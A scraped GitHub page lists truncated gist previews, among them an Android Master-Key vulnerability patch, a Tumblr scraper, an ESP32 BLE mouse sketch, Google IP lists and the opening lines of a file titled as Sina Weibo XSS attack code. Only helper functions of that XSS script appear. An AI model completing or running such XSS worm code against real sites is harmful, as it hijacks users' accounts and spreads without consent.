Skip to content

Instantly share code, notes, and snippets.

View hetykai's full-sized avatar
🏠
Working from home

hetykai

🏠
Working from home
View GitHub Profile
@oasisfeng
oasisfeng / master-key-patch.java
Last active December 19, 2015 17:39
Xposed module to patch Master-Key security vulnerability.
package com.oasisfeng.security.masterkeypatch;
import java.lang.reflect.Field;
import java.util.LinkedHashMap;
import java.util.zip.ZipEntry;
import java.util.zip.ZipException;
import java.util.zip.ZipFile;
import android.util.Log;
import de.robv.android.xposed.IXposedHookLoadPackage;
@ohmyCaptain
ohmyCaptain / tumblrtag.py
Last active February 18, 2016 16:49
通过tag抓取tumblr
#! /bin/env python
# -*- coding: utf-8 -*-
#
#todo:
# 使用python3
# 计算md5,不用文件名来避免重复,储存
# 存储信息:json? pickle? txt?数据库? 要包括 点赞数 记录当前状态下一次继续(可行?)
# 改善递归: 循环套递归?
# py2exe pyinstall?
# beautiful soup
@Pretz
Pretz / RoundedImageView.java
Created January 10, 2012 02:47
Andround Rounded Image View
package com.yelp.android.ui.widgets;
import com.yelp.android.R;
import android.content.Context;
import android.content.res.TypedArray;
import android.graphics.Canvas;
import android.graphics.Paint;
import android.graphics.PorterDuff;
import android.graphics.PorterDuffXfermode;
@ninehills
ninehills / sina_xss.js
Created June 29, 2011 03:58
新浪微博XSS攻击代码
function createXHR(){
return window.XMLHttpRequest?
new XMLHttpRequest():
new ActiveXObject("Microsoft.XMLHTTP");
}
function getappkey(url){
xmlHttp = createXHR();
xmlHttp.open("GET",url,false);
xmlHttp.send();
result = xmlHttp.responseText;
@thertrader
thertrader / performanceReportREADME.txt
Last active December 7, 2021 05:19
Trading Strategies Performance Report with R and Knitr
###############################################################################
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
@chegewara
chegewara / HID_mouse.ino
Last active July 30, 2022 04:43
ESP32 arduino library with new HID class
#include <BLEDevice.h>
#include <BLEUtils.h>
#include <BLEServer.h>
#include "BLE2902.h"
#include "BLEHIDDevice.h"
#include "HIDTypes.h"
#include <driver/adc.h>
static BLEHIDDevice* hid;
@mando7
mando7 / gpu-list.md
Last active October 27, 2022 00:00
Nvidia graphics card sorted by Cuda cores.
# ASIA
_ = '173.194.36.%s' # del 印度 新德里
SG3 = '173.194.38.%s' # 新加坡
TW3 = '173.194.72.%s'
SG4 = '173.194.117.%s'
JP2 = '173.194.120.%s'
_ = '173.194.123.%s'
JP1 = '173.194.126.%s'
HK1 = '173.194.127.%s'
TW1 = '74.125.23.%s'
title description date categories slug
QQ协议分析
QQ协议分析
2014-04-16
protocol
qq-protocol

一. 文字聊天协议族(TCPF, Text Chatting Protocol Family)

301 https://github.com/zxdrive/imouto.host